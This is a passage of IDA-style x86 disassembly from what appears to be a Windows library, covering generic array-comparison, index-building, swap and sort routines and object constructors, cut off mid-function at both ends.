loc_69B6D242: ; CODE XREF: sub_69B6D1E0+5Bj
mov [esi+0Ch], edi
pop edi
mov eax, esi
pop esi
retn 8
sub_69B6D1E0 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D24C proc near ; CODE XREF: sub_69B681B0+188p
; sub_69B696D6+2Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_69B6D25F
mov eax, [esp+4+arg_4]
neg eax
sbb eax, eax
jmp short loc_69B6D2B2
; ---------------------------------------------------------------------------
loc_69B6D25F: ; CODE XREF: sub_69B6D24C+7j
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jnz short loc_69B6D26D
xor eax, eax
inc eax
jmp short loc_69B6D2B1
; ---------------------------------------------------------------------------
loc_69B6D26D: ; CODE XREF: sub_69B6D24C+1Aj
cmp dword ptr [esi+8], 0
jg short loc_69B6D278
call sub_69B2E6D8
loc_69B6D278: ; CODE XREF: sub_69B6D24C+25j
add esi, 0Ch
cmp dword ptr [edi+8], 0
jg short loc_69B6D286
call sub_69B2E6D8
loc_69B6D286: ; CODE XREF: sub_69B6D24C+33j
mov edx, [esi]
lea ecx, [edi+0Ch]
mov edi, [ecx]
add esi, 4
add ecx, 4
jmp short loc_69B6D2A9
; ---------------------------------------------------------------------------
loc_69B6D295: ; CODE XREF: sub_69B6D24C+5Fj
test edi, edi
jz short loc_69B6D2AD
mov eax, [esi]
sub eax, [ecx]
add ecx, 4
add esi, 4
test eax, eax
jnz short loc_69B6D2B1
dec edx
dec edi
loc_69B6D2A9: ; CODE XREF: sub_69B6D24C+47j
test edx, edx
jnz short loc_69B6D295
loc_69B6D2AD: ; CODE XREF: sub_69B6D24C+4Bj
mov eax, edx
sub eax, edi
loc_69B6D2B1: ; CODE XREF: sub_69B6D24C+1Fj
; sub_69B6D24C+59j
pop edi
loc_69B6D2B2: ; CODE XREF: sub_69B6D24C+11j
pop esi
retn 8
sub_69B6D24C endp
; =============== S U B R O U T I N E =======================================
sub_69B6D2B6 proc near ; CODE XREF: sub_69B658C4+1Fp
; sub_69B65EE0+39p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_69B6D2EF
cmp dword ptr [esi+8], 0
jg short loc_69B6D2CA
call sub_69B2E6D8
loc_69B6D2CA: ; CODE XREF: sub_69B6D2B6+Dj
add esi, 0Ch
mov eax, [esi]
add esi, 4
test eax, eax
jle short loc_69B6D2EF
push edi
mov edi, eax
loc_69B6D2D9: ; CODE XREF: sub_69B6D2B6+36j
push dword ptr [esi]
push [esp+0Ch+arg_0]
call sub_69B6D1E0
add esi, 4
dec edi
mov [esp+8+arg_0], eax
jnz short loc_69B6D2D9
pop edi
loc_69B6D2EF: ; CODE XREF: sub_69B6D2B6+7j
; sub_69B6D2B6+1Ej
mov eax, [esp+4+arg_0]
pop esi
retn 8
sub_69B6D2B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D2F7 proc near ; CODE XREF: sub_69B687E1+2Bp
; sub_69B687E1+50p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B6D30E
cmp dword ptr [esi+8], 0
jg short loc_69B6D30B
call sub_69B2E6D8
loc_69B6D30B: ; CODE XREF: sub_69B6D2F7+Dj
dec dword ptr [esi+0Ch]
loc_69B6D30E: ; CODE XREF: sub_69B6D2F7+7j
mov eax, esi
pop esi
retn 4
sub_69B6D2F7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D314 proc near ; CODE XREF: sub_69B664E8-19Fp
; sub_69B66761+Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov esi, ecx
call sub_69B65445
lea edi, [esi+10h]
mov ecx, edi
call sub_69B1818F
push [esp+8+arg_8]
movzx eax, byte ptr [esp+0Ch+arg_8]
push [esp+0Ch+arg_4]
mov dword ptr [esi], offset off_69B13FE8
push [esp+10h+arg_0]
mov dword ptr [esi+8], offset off_69B13F88
mov dword ptr [edi], offset off_69B13EF0
mov [esi+1Ch], eax
mov [esi+20h], eax
and dword ptr [esi+28h], 0
mov ecx, esi
mov dword ptr [esi+34h], 6
call sub_69B6CB8A
pop edi
mov eax, esi
pop esi
retn 0Ch
sub_69B6D314 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D36A proc near ; DATA XREF: .text:69B13334o
; .text:69B13C84o ...
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B6867E
sub_69B6D36A endp
; =============== S U B R O U T I N E =======================================
sub_69B6D372 proc near ; DATA XREF: .text:69B13FA4o
sub ecx, 8
jmp sub_69B6C97D
sub_69B6D372 endp
; ---------------------------------------------------------------------------
loc_69B6D37A: ; DATA XREF: .text:69B1329Co
; .text:69B13BECo ...
sub ecx, 10h
jmp sub_69B6867E
; ---------------------------------------------------------------------------
loc_69B6D382: ; DATA XREF: .text:69B13F0Co
sub ecx, 10h
jmp sub_69B6C97D
; =============== S U B R O U T I N E =======================================
sub_69B6D38A proc near ; CODE XREF: sub_69B67CC1-62p
; sub_69B6B06D-1BFp ...
push esi
push edi
mov esi, ecx
call sub_69B65445
lea edi, [esi+10h]
mov ecx, edi
call sub_69B1818F
xor eax, eax
mov dword ptr [esi], offset off_69B13FE8
mov dword ptr [esi+8], offset off_69B13F88
mov dword ptr [edi], offset off_69B13EF0
mov [esi+14h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov [esi+28h], eax
pop edi
mov dword ptr [esi+34h], 6
mov eax, esi
pop esi
retn
sub_69B6D38A endp
; =============== S U B R O U T I N E =======================================
sub_69B6D3CA proc near ; CODE XREF: sub_69B65C0F+7p
; sub_69B6646A+7p ...
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B6C869
lea edi, [esi+10h]
mov ecx, edi
call sub_69B1818F
xor eax, eax
mov dword ptr [esi], offset off_69B13FE8
mov dword ptr [esi+8], offset off_69B13F88
mov dword ptr [edi], offset off_69B13EF0
mov [esi+14h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov [esi+28h], eax
pop edi
mov dword ptr [esi+34h], 6
mov eax, esi
pop esi
retn 4
sub_69B6D3CA endp
; =============== S U B R O U T I N E =======================================
sub_69B6D410 proc near ; CODE XREF: sub_69B658C4+29j
; sub_69B67AEAj ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
test byte ptr [esi+20h], 4
jz short loc_69B6D427
push dword ptr [esi+18h]
push [esp+8+arg_0]
call sub_69B6D2B6
jmp short loc_69B6D45C
; ---------------------------------------------------------------------------
loc_69B6D427: ; CODE XREF: sub_69B6D410+7j
push edi
mov edi, [esp+8+arg_0]
test edi, edi
jnz short loc_69B6D443
lea eax, [esi+18h]
mov edi, [eax]
push 0
push eax
call sub_69B17320
push edi
call sub_69B693AA
loc_69B6D443: ; CODE XREF: sub_69B6D410+1Ej
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B6D452
mov eax, [ecx]
push edi
call dword ptr [eax+60h]
mov edi, eax
loc_69B6D452: ; CODE XREF: sub_69B6D410+38j
lea ecx, [esi-10h]
mov eax, [ecx]
push edi
call dword ptr [eax+48h]
pop edi
loc_69B6D45C: ; CODE XREF: sub_69B6D410+15j
pop esi
retn 4
sub_69B6D410 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D460 proc near ; DATA XREF: .text:69B29C80o
push 38h
call sub_69B17EF3
test eax, eax
jz short loc_69B6D475
push 0
mov ecx, eax
call sub_69B6D3CA
retn
; ---------------------------------------------------------------------------
loc_69B6D475: ; CODE XREF: sub_69B6D460+9j
xor eax, eax
retn
sub_69B6D460 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D478 proc near ; CODE XREF: sub_69B65EE0+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, ecx
cmp dword ptr [esi], 0
push edi
jnz short loc_69B6D4C8
push 38h
call sub_69B17EF3
mov edi, eax
push 0Ah
pop ebx
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
push edi
push esi
mov dword ptr [edi], offset off_69B1EE00
call sub_69B17320
push 38h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
push edi
lea eax, [esi+4]
push eax
mov dword ptr [edi], offset off_69B1EE00
call sub_69B17320
loc_69B6D4C8: ; CODE XREF: sub_69B6D478+8j
mov ecx, [esi]
mov eax, [ecx+8]
cmp eax, [esi+8]
ja short loc_69B6D4F4
lea ebx, [eax+eax]
push ebx
call sub_69B660A0
push eax
push esi
call sub_69B17320
lea edi, [esi+4]
mov ecx, [edi]
push ebx
call sub_69B660A0
push eax
push edi
call sub_69B17320
loc_69B6D4F4: ; CODE XREF: sub_69B6D478+58j
push dword ptr [esi+8]
mov ecx, [esi]
call sub_69B1A954
push [esp+0Ch+arg_0]
push eax
call sub_69B17320
mov eax, [esi+8]
lea ecx, [eax+1]
mov [esi+8], ecx
mov ecx, [esi+4]
push eax
call sub_69B1A954
cmp [esp+0Ch+arg_4], 0
jz short loc_69B6D532
push [esp+0Ch+arg_4]
mov edi, eax
push 0
call sub_69B6D2B6
push eax
push edi
jmp short loc_69B6D535
; ---------------------------------------------------------------------------
loc_69B6D532: ; CODE XREF: sub_69B6D478+A7j
push 0
push eax
loc_69B6D535: ; CODE XREF: sub_69B6D478+B8j
call sub_69B17320
and dword ptr [esi+10h], 0FFFFFFFEh
pop edi
pop esi
pop ebx
retn 8
sub_69B6D478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6D544 proc near ; CODE XREF: sub_69B658C4+15p
; sub_69B65FEB+2Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ecx, ecx
cmp [ebp+arg_0], ecx
push edi
jl loc_69B6D5E1
mov eax, [esi+8]
cmp [ebp+arg_0], eax
mov [ebp+var_4], eax
jnb short loc_69B6D5E1
lea edi, [esi+0Ch]
cmp [edi], ecx
jnz short loc_69B6D5AA
lea eax, ds:10h[eax*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov eax, [ebp+var_4]
mov ecx, ebx
mov [ebx+8], eax
call sub_69B19118
push ebx
push edi
mov dword ptr [ebx], offset off_69B13D68
call sub_69B17320
xor ebx, ebx
cmp [esi+8], ebx
jbe short loc_69B6D5AA
loc_69B6D59A: ; CODE XREF: sub_69B6D544+64j
mov ecx, [edi]
push ebx
call sub_69B1A954
mov [eax], ebx
inc ebx
cmp ebx, [esi+8]
jb short loc_69B6D59A
loc_69B6D5AA: ; CODE XREF: sub_69B6D544+24j
; sub_69B6D544+54j
mov edi, [edi]
push [ebp+arg_0]
mov ecx, edi
call sub_69B1A954
mov ebx, [ebp+arg_4]
test ebx, ebx
mov edi, [eax]
jz short loc_69B6D5CB
mov ecx, [esi]
push edi
call sub_69B1A954
mov eax, [eax]
mov [ebx], eax
loc_69B6D5CB: ; CODE XREF: sub_69B6D544+79j
mov ebx, [ebp+arg_8]
test ebx, ebx
jz short loc_69B6D5F3
mov ecx, [esi+4]
push edi
call sub_69B1A954
mov eax, [eax]
mov [ebx], eax
jmp short loc_69B6D5F3
; ---------------------------------------------------------------------------
loc_69B6D5E1: ; CODE XREF: sub_69B6D544+Ej
; sub_69B6D544+1Dj
mov eax, [ebp+arg_4]
cmp eax, ecx
jz short loc_69B6D5EA
mov [eax], ecx
loc_69B6D5EA: ; CODE XREF: sub_69B6D544+A2j
mov eax, [ebp+arg_8]
cmp eax, ecx
jz short loc_69B6D5F3
mov [eax], ecx
loc_69B6D5F3: ; CODE XREF: sub_69B6D544+8Cj
; sub_69B6D544+9Bj ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B6D544 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D5FA proc near ; DATA XREF: sub_69B6D629+53o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi+4]
push edi
push dword ptr [eax]
call sub_69B1A954
mov edi, [eax]
mov eax, [esp+8+arg_8]
push dword ptr [eax]
mov ecx, [esi+4]
call sub_69B1A954
push dword ptr [eax]
push edi
call sub_69B6D24C
pop edi
pop esi
retn
sub_69B6D5FA endp
; =============== S U B R O U T I N E =======================================
sub_69B6D629 proc near ; CODE XREF: sub_69B6D69C+19p
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0
lea ebx, [esi+0Ch]
push ebx
call sub_69B17320
mov ebp, [esi+8]
lea eax, ds:10h[ebp*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebp
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B13D68
call sub_69B17320
xor edi, edi
cmp [esi+8], edi
jbe short loc_69B6D67A
loc_69B6D66A: ; CODE XREF: sub_69B6D629+4Fj
mov ecx, [ebx]
push edi
call sub_69B1A954
mov [eax], edi
inc edi
cmp edi, [esi+8]
jb short loc_69B6D66A
loc_69B6D67A: ; CODE XREF: sub_69B6D629+3Fj
mov eax, [ebx]
push offset sub_69B6D5FA
push 4
push dword ptr [esi+8]
add eax, 0Ch
push eax
push esi
call sub_69B6DBB2
or dword ptr [esi+10h], 1
add esp, 14h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B6D629 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6D69C proc near ; CODE XREF: sub_69B65EE0+60p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov esi, ecx
cmp dword ptr [esi+8], 1
jbe loc_69B6D86F
test byte ptr [esi+10h], 1
jnz short loc_69B6D6BA
call sub_69B6D629
loc_69B6D6BA: ; CODE XREF: sub_69B6D69C+17j
push ebx
push edi
mov edi, [esi+8]
lea eax, ds:10h[edi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], edi
call sub_69B19118
mov dword ptr [ebx], offset off_69B1EE00
mov edi, [esi+8]
lea eax, ds:10h[edi*4]
push eax
call sub_69B17EF3
mov ecx, eax
mov [ebp+var_8], eax
mov [eax+8], edi
call sub_69B19118
mov eax, [ebp+var_8]
xor edi, edi
mov dword ptr [eax], offset off_69B1EE00
cmp [esi+8], edi
mov [ebp+var_C], edi
jbe loc_69B6D7F9
loc_69B6D712: ; CODE XREF: sub_69B6D69C+110j
push [ebp+var_C]
mov ecx, [esi+0Ch]
call sub_69B1A954
mov eax, [eax]
mov ecx, [esi+8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec ecx
cmp eax, ecx
jz loc_69B6D7B4
mov ecx, [esi+0Ch]
inc eax
push eax
mov [ebp+var_18], eax
call sub_69B1A954
mov eax, [eax]
push [ebp+var_4]
mov ecx, [esi+4]
mov [ebp+var_10], eax
call sub_69B1A954
mov eax, [eax]
push [ebp+var_10]
mov ecx, [esi+4]
mov [ebp+var_C], eax
call sub_69B1A954
push dword ptr [eax]
push [ebp+var_C]
call sub_69B6D24C
test eax, eax
jz short loc_69B6D7A3
mov eax, [esi]
push edi
mov ecx, ebx
mov [ebp+var_10], eax
call sub_69B1A954
push [ebp+var_4]
mov ecx, [ebp+var_10]
mov [ebp+var_14], eax
call sub_69B1A954
mov ecx, [ebp+var_14]
push eax
call sub_69B4D414
mov ecx, [ebp+var_8]
push edi
call sub_69B1A954
push [ebp+var_C]
inc edi
push eax
call sub_69B17320
loc_69B6D7A3: ; CODE XREF: sub_69B6D69C+CEj
mov eax, [ebp+var_18]
cmp eax, [esi+8]
mov [ebp+var_C], eax
jb loc_69B6D712
jmp short loc_69B6D7F9
; ---------------------------------------------------------------------------
loc_69B6D7B4: ; CODE XREF: sub_69B6D69C+8Fj
mov eax, [esi]
push edi
mov ecx, ebx
mov [ebp+var_18], eax
call sub_69B1A954
push [ebp+var_4]
mov ecx, [ebp+var_18]
mov [ebp+var_14], eax
call sub_69B1A954
mov ecx, [ebp+var_14]
push eax
call sub_69B4D414
mov ecx, [ebp+var_8]
push edi
call sub_69B1A954
push [ebp+var_4]
mov ecx, [esi+4]
mov [ebp+var_18], eax
inc edi
call sub_69B1A954
mov ecx, [ebp+var_18]
push eax
call sub_69B4D414
loc_69B6D7F9: ; CODE XREF: sub_69B6D69C+70j
; sub_69B6D69C+116j
push 0
push esi
mov [esi+8], edi
call sub_69B17320
push ebx
push esi
call sub_69B17320
push 0
lea edi, [esi+4]
push edi
call sub_69B17320
push [ebp+var_8]
push edi
call sub_69B17320
lea eax, [esi+0Ch]
push 0
push eax
call sub_69B17320
mov edi, [esi+8]
lea eax, ds:10h[edi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], edi
call sub_69B19118
push ebx
lea edi, [esi+0Ch]
push edi
mov dword ptr [ebx], offset off_69B13D68
call sub_69B17320
xor ebx, ebx
cmp [esi+8], ebx
jbe short loc_69B6D86D
loc_69B6D85D: ; CODE XREF: sub_69B6D69C+1CFj
mov ecx, [edi]
push ebx
call sub_69B1A954
mov [eax], ebx
inc ebx
cmp ebx, [esi+8]
jb short loc_69B6D85D
loc_69B6D86D: ; CODE XREF: sub_69B6D69C+1BFj
pop edi
pop ebx
loc_69B6D86F: ; CODE XREF: sub_69B6D69C+Dj
pop esi
leave
retn
sub_69B6D69C endp
; =============== S U B R O U T I N E =======================================
sub_69B6D872 proc near ; CODE XREF: sub_69B68FF7+61p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
cmp esi, edi
jz short loc_69B6D8DA
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+64h]
test eax, eax
jz short loc_69B6D8DA
test esi, esi
jz short loc_69B6D8D6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+64h]
mov ebx, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+64h]
cmp ebx, eax
jz short loc_69B6D8D6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov ebx, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0B4h]
cmp ebx, eax
jnz short loc_69B6D8D6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+64h]
jmp short loc_69B6D8D2
; ---------------------------------------------------------------------------
loc_69B6D8C7: ; CODE XREF: sub_69B6D872+62j
cmp eax, edi
jz short loc_69B6D8DA
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+64h]
loc_69B6D8D2: ; CODE XREF: sub_69B6D872+53j
test eax, eax
jnz short loc_69B6D8C7
loc_69B6D8D6: ; CODE XREF: sub_69B6D872+1Cj
; sub_69B6D872+30j ...
xor al, al
jmp short loc_69B6D8DC
; ---------------------------------------------------------------------------
loc_69B6D8DA: ; CODE XREF: sub_69B6D872+Dj
; sub_69B6D872+18j ...
mov al, 1
loc_69B6D8DC: ; CODE XREF: sub_69B6D872+66j
pop edi
pop esi
pop ebx
retn 8
sub_69B6D872 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6D8E2 proc near ; CODE XREF: sub_69B67BAE+14p
; sub_69B6816F+2Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+64h]
mov esi, eax
test esi, esi
jnz short loc_69B6D903
push eax
push [ebp+arg_4]
call sub_69B6D1E0
jmp short loc_69B6D96C
; ---------------------------------------------------------------------------
loc_69B6D903: ; CODE XREF: sub_69B6D8E2+14j
mov eax, [edi]
push ebx
mov ecx, edi
call dword ptr [eax+44h]
cmp eax, 0Fh
setz byte ptr [ebp+arg_0+3]
and [ebp+var_4], 0
mov eax, [esi]
xor ebx, ebx
lea ecx, [ebp+var_4]
inc ebx
cmp byte ptr [ebp+arg_0+3], 0
push ecx
mov ecx, esi
jz short loc_69B6D92F
call dword ptr [eax+9Ch]
jmp short loc_69B6D957
; ---------------------------------------------------------------------------
loc_69B6D92F: ; CODE XREF: sub_69B6D8E2+43j
call dword ptr [eax+68h]
mov ebx, 40000001h
jmp short loc_69B6D957
; ---------------------------------------------------------------------------
loc_69B6D939: ; CODE XREF: sub_69B6D8E2+77j
cmp eax, edi
jz short loc_69B6D95B
mov eax, [esi]
lea ecx, [ebp+var_4]
inc ebx
cmp byte ptr [ebp+arg_0+3], 0
push ecx
mov ecx, esi
jz short loc_69B6D954
call dword ptr [eax+0A0h]
jmp short loc_69B6D957
; ---------------------------------------------------------------------------
loc_69B6D954: ; CODE XREF: sub_69B6D8E2+68j
call dword ptr [eax+6Ch]
loc_69B6D957: ; CODE XREF: sub_69B6D8E2+4Bj
; sub_69B6D8E2+55j ...
test eax, eax
jnz short loc_69B6D939
loc_69B6D95B: ; CODE XREF: sub_69B6D8E2+59j
push [ebp+arg_4]
push esi
call sub_69B6D8E2
push ebx
push eax
call sub_69B6D1E0
pop ebx
loc_69B6D96C: ; CODE XREF: sub_69B6D8E2+1Fj
pop edi
pop esi
leave
retn 8
sub_69B6D8E2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D972 proc near ; CODE XREF: sub_69B681B0+152p
; sub_69B68CF3+12p ...
dec dword ptr [ecx+4]
retn
sub_69B6D972 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D976 proc near ; CODE XREF: sub_69B6D994+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea eax, [esi+esi*2]
lea eax, [ecx+eax*8]
push eax
call sub_69B17EF3
mov [eax+8], esi
pop esi
retn
sub_69B6D976 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D990 proc near ; DATA XREF: .text:69B14070o
push 18h
pop eax
retn
sub_69B6D990 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D994 proc near ; CODE XREF: sub_69B6D9D2+3Fp
; sub_69B6DAF7+3Fp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
push 10h
call sub_69B6D976
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_69B6D9BA
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B14038
jmp short loc_69B6D9BC
; ---------------------------------------------------------------------------
loc_69B6D9BA: ; CODE XREF: sub_69B6D994+15j
xor esi, esi
loc_69B6D9BC: ; CODE XREF: sub_69B6D994+24j
push 0
push edi
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6D994 endp
; =============== S U B R O U T I N E =======================================
sub_69B6D9D2 proc near ; CODE XREF: sub_69B68A03+D6p
; sub_69B68A03+13Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jnz short loc_69B6DA06
push edi
push 0D0h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 8
call sub_69B19118
push edi
push esi
mov dword ptr [edi], offset off_69B14038
call sub_69B17320
pop edi
jmp short loc_69B6DA1D
; ---------------------------------------------------------------------------
loc_69B6DA06: ; CODE XREF: sub_69B6D9D2+7j
mov eax, [ecx+8]
cmp [esi+4], eax
jl short loc_69B6DA1D
add eax, eax
push eax
call sub_69B6D994
push eax
push esi
call sub_69B17320
loc_69B6DA1D: ; CODE XREF: sub_69B6D9D2+32j
; sub_69B6D9D2+3Aj
mov eax, [esi+4]
lea ecx, [eax+1]
mov [esi+4], ecx
mov ecx, [esi]
push eax
call sub_69B6871B
push 0
push [esp+8+arg_8]
mov esi, eax
push [esp+0Ch+arg_4]
mov ecx, esi
push [esp+10h+arg_0]
call sub_69B67EB9
mov eax, esi
pop esi
retn 0Ch
sub_69B6D9D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DA4B proc near ; CODE XREF: sub_69B681B0+11Bp
; sub_69B68A03+DDp ...
mov eax, ecx
mov ecx, [eax]
mov eax, [eax+4]
dec eax
push eax
call sub_69B6871B
retn
sub_69B6DA4B endp
; =============== S U B R O U T I N E =======================================
sub_69B6DA5A proc near ; CODE XREF: sub_69B6DAE7+8p
; sub_69B6DAF7+62p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B67A49
lea eax, [edi+4]
push eax
lea ecx, [esi+4]
call sub_69B67A49
mov eax, [edi+8]
mov [esi+8], eax
lea eax, [esi+0Ch]
mov ecx, [eax]
xor ecx, [edi+0Ch]
add edi, 14h
and ecx, 1
xor [eax], ecx
mov ecx, [eax]
mov edx, [edi-8]
xor edx, ecx
and edx, 2
xor edx, ecx
mov [eax], edx
mov eax, [edi-4]
push edi
lea ecx, [esi+14h]
mov [esi+10h], eax
call sub_69B4D414
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6DA5A endp
; =============== S U B R O U T I N E =======================================
sub_69B6DAAE proc near ; CODE XREF: sub_69B68A03+98p
arg_0 = dword ptr 4
push esi
push edi
xor edi, edi
cmp [esp+8+arg_0], edi
mov esi, ecx
jz short loc_69B6DADC
mov eax, [esi+4]
cmp eax, edi
jz short loc_69B6DADC
jle short loc_69B6DADC
loc_69B6DAC3: ; CODE XREF: sub_69B6DAAE+2Cj
mov ecx, [esi]
push edi
call sub_69B6871B
mov eax, [eax]
and eax, 0FFFFFFFEh
cmp [esp+8+arg_0], eax
jz short loc_69B6DAE3
inc edi
cmp edi, [esi+4]
jl short loc_69B6DAC3
loc_69B6DADC: ; CODE XREF: sub_69B6DAAE+Aj
; sub_69B6DAAE+11j ...
xor al, al
loc_69B6DADE: ; CODE XREF: sub_69B6DAAE+37j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B6DAE3: ; CODE XREF: sub_69B6DAAE+26j
mov al, 1
jmp short loc_69B6DADE
sub_69B6DAAE endp
; =============== S U B R O U T I N E =======================================
sub_69B6DAE7 proc near ; DATA XREF: .text:69B14074o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B6DA5A
retn 8
sub_69B6DAE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DAF7 proc near ; CODE XREF: sub_69B681B0+19Bp
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jnz short loc_69B6DB2B
push edi
push 0D0h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 8
call sub_69B19118
push edi
push esi
mov dword ptr [edi], offset off_69B14038
call sub_69B17320
pop edi
jmp short loc_69B6DB42
; ---------------------------------------------------------------------------
loc_69B6DB2B: ; CODE XREF: sub_69B6DAF7+7j
mov eax, [ecx+8]
cmp [esi+4], eax
jl short loc_69B6DB42
add eax, eax
push eax
call sub_69B6D994
push eax
push esi
call sub_69B17320
loc_69B6DB42: ; CODE XREF: sub_69B6DAF7+32j
; sub_69B6DAF7+3Aj
mov eax, [esi+4]
push [esp+4+arg_0]
lea ecx, [eax+1]
mov [esi+4], ecx
mov ecx, [esi]
push eax
call sub_69B6871B
mov ecx, eax
call sub_69B6DA5A
mov ecx, [esi]
mov esi, [esi+4]
dec esi
push esi
call sub_69B6871B
pop esi
retn 4
sub_69B6DAF7 endp
; =============== S U B R O U T I N E =======================================
sub_69B6DB6E proc near ; DATA XREF: .text:69B1406Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B6DB8D
push ebx
mov ebx, eax
loc_69B6DB7F: ; CODE XREF: sub_69B6DB6E+1Cj
mov ecx, edi
call sub_69B67F74
add edi, 18h
dec ebx
jnz short loc_69B6DB7F
pop ebx
loc_69B6DB8D: ; CODE XREF: sub_69B6DB6E+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6DB6E endp
; =============== S U B R O U T I N E =======================================
sub_69B6DB96 proc near ; CODE XREF: sub_69B6DBB2+76p
; sub_69B6DBB2+93p ...
cmp eax, ecx
push esi
mov esi, edx
jz short loc_69B6DBB0
test esi, esi
jz short loc_69B6DBB0
push ebx
loc_69B6DBA2: ; CODE XREF: sub_69B6DB96+17j
mov bl, [ecx]
mov dl, [eax]
mov [eax], bl
inc eax
mov [ecx], dl
inc ecx
dec esi
jnz short loc_69B6DBA2
pop ebx
loc_69B6DBB0: ; CODE XREF: sub_69B6DB96+5j
; sub_69B6DB96+9j
pop esi
retn
sub_69B6DB96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=64h
sub_69B6DBB2 proc near ; CODE XREF: sub_69B6BCF3+2BCp
; sub_69B6D629+62p ...
var_F8 = dword ptr -0F8h
var_80 = dword ptr -80h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
lea ebp, [esp-64h]
sub esp, 0F8h
push esi
mov esi, [ebp+64h+arg_8]
cmp esi, 2
jb loc_69B6DD21
push edi
mov edi, [ebp+64h+arg_C]
test edi, edi
jz loc_69B6DD20
